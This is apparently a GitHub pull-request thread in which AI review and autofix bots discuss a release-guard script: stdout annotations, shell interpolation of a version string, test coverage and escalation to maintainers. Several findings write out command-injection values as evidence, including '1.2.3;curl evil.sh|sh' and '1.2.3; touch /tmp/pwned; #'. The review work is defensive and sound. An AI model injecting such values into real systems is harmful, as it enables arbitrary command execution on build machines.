GitHub Actions parses workflow commands like ::error:: from stdout, not stderr. The error message is still visible in raw logs but is not annotated in the GitHub Actions UI. The workflow logic is unaffected (it keys on the exit code), but operators scanning the UI for error annotations will miss this one.

Suggested change
console.error(`::error::${error.message}`);
console.log(`::error::${error.message}`);

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

中文说明

console.error 将内容写入 stderr,而 GitHub Actions 从 stdout 解析工作流命令(如 ::error::)。错误信息仍会显示在原始日志中,但不会被标注在 GitHub Actions UI 的错误注释区域。工作流逻辑不受影响(通过退出码判断),但运维人员在 UI 中扫描错误注释时将错过此条。

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

Comment on lines +203 to +205
const command = strict
? `npm view ${pkg}@${version} version`
: `npm view ${pkg}@${version} version 2>/dev/null`;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] execSync shell interpolation of version in assertVersionUnreleased lacks semver validation — defense-in-depth against future refactoring

execSync runs through a shell by default, and version is interpolated into the command string. assertVersionUnreleased validates only that version is a non-empty string, not that it is a valid semver string. In the current workflow, version is always needs.prepare.outputs.release_version (a computed semver string), so this is not exploitable in production. However, if the script is ever refactored to accept version from a user-supplied input, a version like 1.2.3;curl evil.sh|sh would execute arbitrary shell commands.

Suggested change
const command = strict
? `npm view ${pkg}@${version} version`
: `npm view ${pkg}@${version} version 2>/dev/null`;
if (!/^\d+\.\d+\.\d+/.test(version)) {
throw new Error('invalid version format');
}

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

中文说明

execSync 默认通过 shell 运行命令,version 被直接拼接进命令字符串。assertVersionUnreleased 仅验证 version 为非空字符串,未验证其是否为有效的 semver 字符串。在当前工作流中,version 始终来自 prepare 任务的计算结果(受控的 semver),因此在生产环境中不可利用。但若将来重构后 version 来自用户输入,类似 1.2.3;curl evil.sh|sh 的值将执行任意 shell 命令。

— deepseek-v4-flash via Qwen Code /review (v0.21.11)

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined — not worth the diff growth. The guard's version input is needs.prepare.outputs.release_version, a semver string computed by the prepare job, never user-supplied input; the finding itself notes this is not exploitable in production. Per AGENTS.md's Simplicity First we don't add validation for a scenario that cannot occur today — a future refactor that accepts user-supplied versions would add validation at that new boundary.

Also, the suggested regex is not end-anchored, so it accepts the finding's own injection example:

$ node -e "console.log(/^\d+\.\d+\.\d+/.test('1.2.3;curl evil.sh|sh'))"
true

Implementing it as suggested would grow the diff without closing the hypothetical hole.

中文说明

不予采纳——不值得增加 diff。该守卫的 version 输入来自 needs.prepare.outputs.release_version,是 prepare 任务计算出的 semver 字符串,并非用户提供的输入;该发现本身也指出在生产环境中不可利用。按照 AGENTS.md 的 Simplicity First 原则,我们不为当前不可能发生的场景添加校验——未来若有重构接受用户提供的版本号,应在该新边界处添加校验。

另外,建议的正则未做结尾锚定,因此它会放行该发现自己举的注入示例:

$ node -e "console.log(/^\d+\.\d+\.\d+/.test('1.2.3;curl evil.sh|sh'))"
true

按建议原样实现会增大 diff,却无法堵住这个假想的漏洞。

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Addressed the latest review feedback (round 7/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 7/10 轮)。改动内容与我反驳保留之处如下:

Autofix review round — PR #9082 (issue #9076)

Commit: 45e5f84056fix(ci): write push-time guard error annotations to stdout (#9076) (3 files, +19/−13).

Critical-only mode is active; the deferred section contained no items. Both inline findings were rendered in the actionable section and are dispositioned below. No conflict (--conflict false, no merge performed).

Feedback points

[Suggestion] rc:3786693694 — ::error:: written to stderr is not parsed by the GitHub Actions runner → RESOLVED

Claim verified, then reproduced before fixing:

  • Probe confirmed the code-level half: console.error writes to stderr (STDOUT:[stdout-line] / STDERR:[::error::probe]), while the runner parses workflow commands from stdout only (matching how actions/core emits issue commands). So the guard's refusal/probe-failure annotation never surfaced in the Actions UI, even though the workflow logic itself keys on exit codes and was unaffected.
  • Reproduction: updated the six tests pinning the annotation's stream to expect stdout/console.log and ran them against the unfixed source — 6 failed, exactly on the stream mismatch.
  • Fix (minimal, root cause): the single console.error(::error::…) in runCli's catch now uses console.log, covering all three guard error paths (exit 3 refusal, exit 2 probe failure, exit 2 usage error). The informational console.error diagnostics elsewhere were left untouched — stderr is correct for them. The two real-entry-point tests in release-workflow.test.js now assert the annotation on result.stdout.

[Suggestion] rc:3786693702 — add semver validation before execSync interpolation → DECLINED (with evidence)

version is needs.prepare.outputs.release_version — a semver string computed by the prepare job, not user input; the finding itself concedes it is not exploitable in production. Per AGENTS.md's Simplicity First, no validation for a scenario that cannot occur today; a future refactor accepting user-supplied versions would validate at that new boundary. Additionally, the suggested regex /^\d+\.\d+\.\d+/ is not end-anchored and accepts the finding's own injection example (node -e "console.log(/^\d+\.\d+\.\d+/.test('1.2.3;curl evil.sh|sh'))" prints true), so implementing it as suggested would grow the diff without closing the hypothetical hole. Reply posted in-thread via comment-replies.json.

Review-level notes (marked non-blocking by the reviewer) — no action

  • One Suggestion-level finding could not be anchored to a changed line and was dropped by the reviewer; nothing to act on.
  • actionlint embedded-shell lint of release.yml is unsupported by the reviewer's tooling — a tool limitation, not a code finding.
  • Test Plan reference release/v0.21.12-preview.0 — no such branch exists: release branches are created/force-pushed by the workflow during an actual release run and are ephemeral. The PR body is workflow-owned, so no change made here.

Verification

  • Probe console.error stream separation — passed: stdout empty, ::error::probe on stderr.
  • Probe of the suggested regex vs 1.2.3;curl evil.sh|sh — prints true (evidence for the decline).
  • Focused vitest (scripts/tests/get-release-version.test.js + scripts/tests/release-workflow.test.js) pre-fix — 6 failed / 55 passed, demonstrating the defect on the pre-round code.
  • Same focused vitest post-fix — 61 passed (2 files).
  • npm run test:scripts (full root scripts suite) — 1178 passed, 16 skipped, 1 flaky failure that moved between runs (install-script.test.js in run 1, verify-capture.test.js in run 2); both files pass in isolation (e.g. install-script.test.js alone: 105 passed, 16 skipped) and neither is among the three files this round changes, so this is pre-existing parallel-scheduling flakiness unrelated to the fix.
  • npm run build — passed.
  • npm run typecheck — passed.
  • npm run lint — passed.
  • npx prettier --check on the three changed files — passed.
  • Pre-commit hook (lint-staged) — passed.
中文说明

Autofix 审查轮次 — PR #9082(issue #9076

提交:45e5f84056fix(ci): write push-time guard error annotations to stdout (#9076)(3 个文件,+19/−13)。

当前处于仅处理 Critical 的模式;延后区域中没有条目。两条行内发现均出现在可执行区域中,处置如下。无冲突(--conflict false,未执行合并)。

反馈点

[Suggestion] rc:3786693694 — 写入 stderr 的 ::error:: 不会被 GitHub Actions runner 解析 → 已解决

先验证并复现该主张,再修复:

  • 探针确认了代码层面的事实:console.error 写入 stderr(STDOUT:[stdout-line] / STDERR:[::error::probe]),而 runner 仅从 stdout 解析工作流命令(与 actions/core 输出 issue 命令的方式一致)。因此守卫的拒绝/探测失败标注从未显示在 Actions UI 中,尽管工作流逻辑本身依赖退出码、不受影响。
  • 复现:将六个锚定标注输出流的测试更新为期望 stdout/console.log,并在未修复的源码上运行——6 个失败,恰好失败在输出流不匹配上。
  • 修复(最小、根因):runCli catch 中唯一的 console.error(::error::…) 改为 console.log,覆盖守卫的全部三个错误路径(退出 3 拒绝、退出 2 探测失败、退出 2 用法错误)。其余信息性的 console.error 诊断保持不变——它们本就应走 stderr。release-workflow.test.js 中两个真实入口测试现改为在 result.stdout 上断言该标注。

[Suggestion] rc:3786693702 — 在 execSync 插值前增加 semver 校验 → 不予采纳(附证据)

versionneeds.prepare.outputs.release_version——由 prepare 任务计算出的 semver 字符串,并非用户输入;该发现本身也承认在生产环境中不可利用。按照 AGENTS.md 的 Simplicity First 原则,不为当前不可能发生的场景添加校验;未来若有重构接受用户提供的版本号,应在该新边界处做校验。此外,建议的正则 /^\d+\.\d+\.\d+/ 未做结尾锚定,会放行该发现自己举的注入示例(node -e "console.log(/^\d+\.\d+\.\d+/.test('1.2.3;curl evil.sh|sh'))" 输出 true),因此按建议原样实现会增大 diff,却堵不住这个假想的漏洞。已通过 comment-replies.json 在原线程内回复。

审查层面的备注(审查者标记为非阻断)— 无需处理

  • 有 1 条 Suggestion 级发现无法锚定到改动行,已被审查者丢弃;无需处理。
  • 审查者工具不支持对 release.yml 做 actionlint 内嵌 shell 检查——属工具限制,不是代码发现。
  • Test Plan 中引用的 release/v0.21.12-preview.0 分支不存在:release 分支由工作流在实际发布运行时创建/强制推送,是临时性的。PR 正文由工作流维护,故此处不做改动。

验证

  • 探针验证 console.error 的流分离 — 通过:stdout 为空,::error::probe 在 stderr。
  • 用建议的正则探测 1.2.3;curl evil.sh|sh — 输出 true(作为不予采纳的证据)。
  • 聚焦 vitest(scripts/tests/get-release-version.test.js + scripts/tests/release-workflow.test.js)修复前 — 6 失败 / 55 通过,在本轮之前的代码上证明了缺陷。
  • 同一聚焦 vitest 修复后 — 61 通过(2 个文件)
  • npm run test:scripts(根 scripts 全量套件)— 1178 通过、16 跳过,1 个在不同运行间漂移的偶发失败(第 1 次为 install-script.test.js,第 2 次为 verify-capture.test.js);两个文件单独运行均通过(例如 install-script.test.js 单独运行:105 通过、16 跳过),且均不在本轮改动的三个文件之列,属于与本修复无关的既有并行调度抖动。
  • npm run build — 通过。
  • npm run typecheck — 通过。
  • npm run lint — 通过。
  • 对三个改动文件执行 npx prettier --check — 通过。
  • pre-commit 钩子(lint-staged)— 通过。

Deferred non-Critical feedback

Critical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 185 / test 406 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (@qwen-code /retry starts a fresh counting window.)

中文说明

已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 185 / 测试 406 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 @qwen-code /retry 可开启新的计数窗口。)

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed. Suggestions are inline.

Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and its win32 path (the skipIf arm of the release-workflow spawn test) was executed nowhere; the Linux test suite covering the same files ran locally (61/61 scoped, 1184 full scripts suite).

Not explored to full depth (tool budget reached): "agent 1b": none — no check was cut short..

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

仅完成部分审查,审查缺口已披露。 建议见行内评论。

未审查:build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and its win32 path (the skipIf arm of the release-workflow spawn test) was executed nowhere; the Linux test suite covering the same files ran locally (61/61 scoped, 1184 full scripts suite)。

未探索到全部深度(达到工具调用预算):"agent 1b"none — no check was cut short.

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.12)

Comment on lines +305 to +306
export function assertVersionUnreleased(version) {
if (typeof version !== 'string' || version.length === 0) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R8-3: assertVersionUnreleased interpolates its only input into execSync shell commands with only a non-empty-string check — probe-proven shell command injection through the shipped CLI entry point. node scripts/get-release-version.js --assert-unreleased='1.2.3; touch /tmp/pwned; #' executes the injected command AND exits 0 (the guard reports "unreleased" — the signal the workflow reads as green-light for git push --force); a $(…) payload also traverses the new double-quoted git ls-remote sink. — Failure scenario: a caller passing a version not validated upstream reaches the npm view / git ls-remote / gh release view sinks → command execution on the release runner while the guard exits 0. Reachability today: every release.yml path delivering a version here is regex-validated in prepare (stable/preview) or owned by an actor whose ref code already executes with the same credentials (nightly) — no reachable trigger crosses a privilege boundary, so this is a hardening defect in new exported code, not a live RCE. A grammar check at the top of the function was probe-verified to flip both payloads to exit 2 while accepting the real nightly/preview version shapes. Witness: PAYLOAD(1.2.3; touch …): EXIT_CODE=0 MARKER_CREATED=yes / PAYLOAD(1.2.3$(touch …)): EXIT_CODE=0 MARKER_CREATED=yes / with the fix below: EXIT=2, no marker file.

Suggested change
export function assertVersionUnreleased(version) {
if (typeof version !== 'string' || version.length === 0) {
export function assertVersionUnreleased(version) {
if (
typeof version !== 'string' ||
!/^\d+\.\d+\.\d+(-[0-9A-Za-z]+(\.[0-9A-Za-z]+)*)?$/.test(version)
) {
中文说明

[建议] R8-3:assertVersionUnreleased 仅做"非空字符串"检查就把唯一输入内插进 execSync shell 命令 —— 已用探针证实可通过随包发布的 CLI 入口实现 shell 命令注入。node scripts/get-release-version.js --assert-unreleased='1.2.3; touch /tmp/pwned; #' 会执行被注入的命令并以 0 退出(守卫报告"未发布" —— 即 workflow 中放行 git push --force 的信号);$(…) 载荷同样能穿透新增的双引号 git ls-remote 汇聚点。 — 失败场景:调用方传入未经上游校验的版本号即可到达 npm view / git ls-remote / gh release view 汇聚点 → 在发布 runner 上执行命令,而守卫以 0 退出。当前可达性:release.yml 中所有把版本号送达此处的路径都经过 prepare 的正则校验(stable/preview),或属于"其 ref 代码本就以相同凭据执行"的角色(nightly)—— 没有可触达路径跨越权限边界,因此这是新增导出代码中的加固缺陷,而非现实 RCE。在函数顶部加入版本语法检查已被探针验证可将两种载荷翻转为 exit 2,同时接受真实的 nightly/preview 版本形式。证据:载荷(1.2.3; touch …):EXIT_CODE=0 标记文件已创建 / 载荷(1.2.3$(touch …)):EXIT_CODE=0 标记文件已创建 / 应用下方修复后:EXIT=2,无标记文件。

— qwen3.8-max via Qwen Code /review (v0.21.12)

Comment on lines +746 to +749
(
needs.publish.result == 'failure' &&
needs.publish.outputs.version_refusal != 'true'
)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R9-2: The || disjunction connecting this refusal-skip clause to the rest of the notify_failure condition is pinned by no test — the pin in release-workflow.test.js asserts only the two inner lines, while its comment claims "every later publish failure still notify". — Failure scenario: flipping the preceding needs.integration_docker.result == 'failure' || to && keeps all 13 tests green (mutant run at this commit: baseline Tests 13 passed (13), mutant Tests 13 passed (13)), yet a publish-only failure — the common case — would then no longer file the "Release Failed" issue or dispatch autofix; a broken release goes silently unnotified. The fix lives in scripts/tests/release-workflow.test.js (cross-file, so a regular block):

// widen the refusal-test regex to include the connective and grouping:
/needs\.integration_docker\.result == 'failure' \|\|\n {10}\(\n {12}needs\.publish\.result == 'failure' &&\n {12}needs\.publish\.outputs\.version_refusal != 'true'\n {10}\)/

Witness: baseline: Tests 13 passed (13) / mutant (|| → &&): Tests 13 passed (13)

中文说明

[建议] R9-2:把这个"版本拒绝即跳过通知"子句连接到 notify_failure 条件其余部分的 || 析取没有任何测试固定 —— release-workflow.test.js 中的固定断言只覆盖内侧两行,而其注释声称"之后任何 publish 失败仍会通知"。 — 失败场景:把前面的 needs.integration_docker.result == 'failure' || 翻转为 &&,全部 13 个测试仍绿(在本提交上运行突变体:基线 Tests 13 passed (13)、突变 Tests 13 passed (13)),但仅 publish 失败 —— 最常见的情形 —— 将不再建 "Release Failed" issue、不再派发 autofix,损坏的发布会静默无人通知。修复位于 scripts/tests/release-workflow.test.js(跨文件,故用普通代码块):把拒绝测试的正则扩展为同时匹配连接词与分组(见上方英文代码块)。证据:基线:Tests 13 passed (13) / 突变(|| → &&):Tests 13 passed (13)

— qwen3.8-max via Qwen Code /review (v0.21.12)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 AutoFix updated a stale base — the fix did not pass verification, but this PR was behind main, so it merged current main in via update-branch and will retry on the next scan. A stale base (a dependency or symbol main already changed) can fail the build without being the fix's fault; if it still fails once current, it hands off to a human.

What I found before stopping:

Handoff — PR #9082 (issue #9076): maintainer decision needed, growth brake engaged

The autofix review loop is stopping without applying any further code fixes this round. The deterministic growth brake has engaged: 5 change-producing rounds have completed in this counting window, the diff stayed over budget for 2+ rounds and is still not shrinking (source 187 / test 410 net lines vs budgets 400/400), and the review findings are themselves driving the growth — so continuing to patch cannot converge. Critical-only mode cannot help: there are no Critical findings left, and this round's actionable sections are empty.

State of the PR

  • Branch head: 45e5f8405652dd693378d14ef004446586a0c904. No failed or still-red CI checks at evaluation time.
  • The core fix is complete and was verified through 7 review rounds: force-push of the release branch so retries replace failed attempts, a fail-closed push-time re-validation guard (--assert-unreleased) that refuses the force push once a version has shipped anywhere, per-release-tag publish serialization, and keeping decisive "version already shipped" refusals out of the release-failed notification/autofix dispatch.
  • Remaining tail — two Suggestion-level automated-reviewer findings deferred by Critical-only mode (both small, neither a reachable defect):
    • R8-3 (scripts/get-release-version.js:306): add version-grammar validation to assertVersionUnreleased — probe-proven shell-injection hardening defect in the exporte

Run log: https://github.com/QwenLM/qwen-code/actions/runs/31845189073


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下:

No changes this round — this PR needs a maintainer's decision (not converging)

The workflow's deterministic growth brake has engaged: this PR's diff has stayed over the counting-window budget for 3 consecutive rounds and is still not shrinking. Critical-only mode is active, and this round's actionable sections are empty — the two remaining non-Critical suggestions were excluded by the brake. Per the workflow rules, no further code fixes are applied this round: continuing to patch is exactly what would not converge. The decision below is a maintainer's call, so it is escalated here instead of being settled by the bot.

Current state (evidence)

  • Scope: the PR is one coherent piece of work on the push-time release guard for issue Release Failed for v0.21.12-preview.0 on 2026-08-13 #9076 (release-branch push rejected on retry). All changes live in .github/workflows/release.yml, scripts/get-release-version.js, and their two test files — 628 insertions / 15 deletions total, entirely inside the release area.
  • Growth vs budget: source 187 / 400 net lines (under budget); tests 410 / 400 net lines (10 lines over). The overage is marginal, but the brake engages mechanically after 3 over-budget rounds.
  • Tail (deferred by the brake, still open):
    1. R8-3 (scripts/get-release-version.js:306) — hardening: grammar-check the input of assertVersionUnreleased before it is interpolated into shell commands. The reviewer's probe established there is no reachable trigger crossing a privilege boundary today — hardening of new exported code, not a live RCE.
    2. R9-2 (.github/workflows/release.yml:749) — test coverage: widen the refusal-test regex to pin the || connective in the notify_failure condition; a ||&& mutant currently survives all 13 tests.
  • Checks: no failed checks on the PR at evaluation time (ubuntu test run and secret scan still in progress). main is fully merged into this branch — no base conflict.

The decision

How to close this PR without letting the review tail keep growing it:

  • Option A — accept and merge as-is; track the tail as follow-up work. Land the guard now and file a small follow-up issue/PR for R8-3 and R9-2.
  • Option B — reset the counting window (@qwen-code /retry). The loop picks up the two deferred suggestions against a fresh budget; both are small and would fit.
  • Option C — split the PR. Not attractive here: the diff is a single concern across two production files plus their tests, so splitting would require manual surgery on a complete, tested state and would create more churn, not less.
  • Option D — redesign. Nothing indicates the approach is wrong: triage validated it, and each round's changes trace to probe evidence.

Recommendation

Option A (merge as-is, follow-up for the tail), with Option B as the low-cost alternative if you prefer the tail to land inside this PR. Both tail items are small, non-blocking, and non-Critical, while the core guard fixes a real release-pipeline defect and is pinned by tests. The entire budget overage is ~10 test lines, which argues for closing the PR rather than iterating further.

Question for the maintainer: A, B, or a different scoping call? Until then, the loop will keep deferring the non-Critical tail each round and no further automated changes will land.

Verification

No verification commands were run this round: no code changes were made (the workflow's not-converging directive forbids further code fixes this round), so there was nothing to build, typecheck, lint, or test.

中文说明

本轮不做任何改动 —— 本 PR 需要维护者决策(未收敛)

工作流的确定性增长刹车已触发:本 PR 的 diff 已连续 3 轮超出计数窗口预算,且仍未缩小。当前处于仅处理 Critical 的模式,本轮可执行区域为空——剩余的两条非 Critical 建议已被刹车排除。按照工作流规则,本轮不再应用任何代码修复:继续打补丁正是不会收敛的做法。下面的决定属于维护者的权限,因此在此上报,而不是由机器人自行定夺。

当前状态(证据)

  • 范围: 本 PR 是针对 issue Release Failed for v0.21.12-preview.0 on 2026-08-13 #9076(重试时发布分支推送被拒绝)的推送时发布守卫(push-time release guard)的一项完整且内聚的工作。所有改动位于 .github/workflows/release.ymlscripts/get-release-version.js 及其两个测试文件——共 628 行新增 / 15 行删除,全部在发布(release)领域内。
  • 增长 vs 预算: 源码净 187 / 400 行(未超预算);测试净 410 / 400 行(超出 10 行)。超出幅度很小,但连续 3 轮超预算后刹车会机械地触发。
  • 尾部(被刹车延后,仍然开放):
    1. R8-3(scripts/get-release-version.js:306)——加固:在 assertVersionUnreleased 的输入被插入 shell 命令之前做语法检查。评审者的探针已确认目前不存在跨越权限边界的可达触发点——属于新增导出代码的加固,而非现实可利用的 RCE。
    2. R9-2(.github/workflows/release.yml:749)——测试覆盖:扩展拒绝测试的正则,以钉住 notify_failure 条件中的 || 连接符;当前 ||&& 的变异体能在全部 13 个测试下存活。
  • 检查: 评估时 PR 上没有失败的检查(ubuntu 测试与密钥扫描仍在进行中)。main 已完整合并进本分支——无基分支冲突。

需要决策的问题

如何在不让评审尾部继续撑大 diff 的前提下收尾本 PR:

  • 方案 A —— 按现状接受并合并;尾部作为后续工作跟踪。 现在合入守卫改动,并为 R8-3 和 R9-2 建一个小的后续 issue/PR。
  • 方案 B —— 重置计数窗口(@qwen-code /retry)。 托管循环将在全新预算下拾取这两条被延后的建议;两者都很小,放得下。
  • 方案 C —— 拆分 PR。 在此处并不可取:diff 是两个生产文件及其测试中的单一关注点,拆分需要对已完成且经过测试的状态做手工切割,只会带来更多变动而非更少。
  • 方案 D —— 重新设计。 没有任何迹象表明方案本身有误:分诊阶段已验证该方案,且每一轮改动都可追溯到探针证据。

建议

方案 A(按现状合并,尾部走后续跟进);如果你希望尾部在本 PR 内落地,方案 B 是低成本的替代选项。两条尾部条目都小、都不阻塞、也都非 Critical;而核心守卫修复了真实的发布流水线缺陷并有测试钉住。整个预算超出仅约 10 行测试代码,这更支持收尾本 PR 而非继续迭代。

给维护者的问题: 选 A、B,还是其他范围决策?在此之前,循环将在每一轮继续延后这些非 Critical 尾部条目,不会再有自动改动落地。

验证

本轮未运行任何验证命令:本轮没有做任何代码改动(工作流的"未收敛"指令禁止本轮继续做代码修复),因此没有可构建、类型检查、lint 或测试的内容。

Deferred non-Critical feedback

Critical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 187 / test 410 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (@qwen-code /retry starts a fresh counting window.)

中文说明

已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 187 / 测试 410 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 @qwen-code /retry 可开启新的计数窗口。)

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed. Suggestions are inline.

Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 skipIf arm of scripts/tests/release-workflow.test.js was executed nowhere; Test (macos-latest, Node 22.x) was skipped likewise (the same suite ran on Linux instead: 61/61 scoped).

Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

仅完成部分审查,审查缺口已披露。 建议见行内评论。

未审查:build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 skipIf arm of scripts/tests/release-workflow.test.js was executed nowhere; Test (macos-latest, Node 22.x) was skipped likewise (the same suite ran on Linux instead: 61/61 scoped)。

未审查:反向审计——在 5 轮的反审轮数上限内未收敛。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.12)

Comment on lines +441 to +444
if ! grep -q "assert-unreleased" scripts/get-release-version.js; then
echo "::error::Checked-out ref predates the push-time guard; refusing force push."
exit 1
fi

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The capability probe matches a string, not the behavior it stands in for — a ref carrying the literal assert-unreleased but without working CLI dispatch passes it, and the misread this check was added to prevent returns: the entry point prints version JSON, exits 0, and GUARD_STATUS=0 reads as "unreleased verified" while the guard never ran. — Failure scenario: operator dispatches with ref pointing at a commit where the string exists but the dispatch glue does not work — a partial revert of this PR (e.g. reverting only the entry-point hunk) or a future refactor relocating runCli while leaving the string in a comment/export → grep -q passes, the invocation hits a pre-PR-shape entry point, prints JSON, exits 0; the retry loop breaks as "verified" and git push --force proceeds with no re-validation. Probe-proven: a reconstructed partial-revert script passes grep, and the guard invocation exits 0 (version JSON printed, force push proceeds); with the fix below, the same ref exits 0 → refuses (fails closed), while the real PR script exits 2 (usage-error path, no network) → capability accepted. Every ref existing today is handled correctly, so this is a rare-ref-state hole in a defense-in-depth check.

Suggested change
if ! grep -q "assert-unreleased" scripts/get-release-version.js; then
echo "::error::Checked-out ref predates the push-time guard; refusing force push."
exit 1
fi
GUARD_CAPABILITY=0
node scripts/get-release-version.js --assert-unreleased= >/dev/null || GUARD_CAPABILITY=$?
if [[ "${GUARD_CAPABILITY}" -ne 2 ]]; then
echo "::error::Checked-out ref lacks a working push-time guard; refusing force push."
exit 1
fi
中文说明

[建议] 能力探测匹配的是字符串,而非其代表的行为 —— 携带字面量 assert-unreleased 但 CLI 分发缺失或损坏的 ref 会通过探测,使本检查旨在防止的误读重现:入口打印版本 JSON、以 0 退出,GUARD_STATUS=0 被读作"已确认未发布",而守卫从未运行。 — 失败场景:运维派发时 ref 指向字符串存在但分发接线不工作的提交 —— 对本 PR 的部分回滚(如只回滚入口 hunk),或未来重构移走 runCli 却将字符串留在注释/导出中 → grep -q 通过,守卫调用命中 PR 之前形态的入口,打印 JSON 并以 0 退出;重试循环以"已验证"跳出,git push --force 在没有任何重新校验的情况下执行。已用探针证实:重建的"部分回滚"脚本通过 grep,守卫调用以 0 退出(打印版本 JSON,强制推送会继续);采用下方修复后,同一 ref exit 0 → 拒绝(失败关闭),而真实 PR 脚本 exit 2(用法错误路径,无网络请求)→ 能力通过。当前存在的每个 ref 都能被正确处理,因此这是防御性检查中一个罕见 ref 状态的漏洞。

— qwen3.8-max via Qwen Code /review (v0.21.12)

} catch (error) {
// stdout, not stderr: the runner parses workflow commands from
// stdout only, so ::error:: on stderr would never annotate.
console.log(`::error::${error.message}`);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The ::error:: annotation is emitted raw, but on the exit-2 probe-failure path error.message embeds the full multi-line execSync stderr, and the runner parses workflow commands line-by-line — the annotation degrades to its first line precisely when the diagnostics matter. — Failure scenario: a probe failure (e.g. a registry outage) makes assertVersionUnreleased throw Failed to verify <pkg>@<version> on npm: Command failed: npm view ... plus the entire npm error block; only the first line becomes the annotation, while the npm error code ETIMEDOUT detail an operator triaging a fail-closed abort needs spills out as bare unannotated log lines. Control flow is unaffected; this is exactly the annotation the comment above this line engineers for the runner. Probe-proven against the real entry point with a stubbed failing npm: stdout line 1 is ::error::Failed to verify @qwen-code/qwen-code@1.2.3 on npm: Command failed: npm view ... with lines 2-5 (npm error code ETIMEDOUT, ...) unannotated; with the fix below, stdout collapses to one annotated line and the exit code is still 2.

Suggested change
console.log(`::error::${error.message}`);
console.log(`::error::${String(error.message).replaceAll(/\r?\n/g, ' ')}`);
中文说明

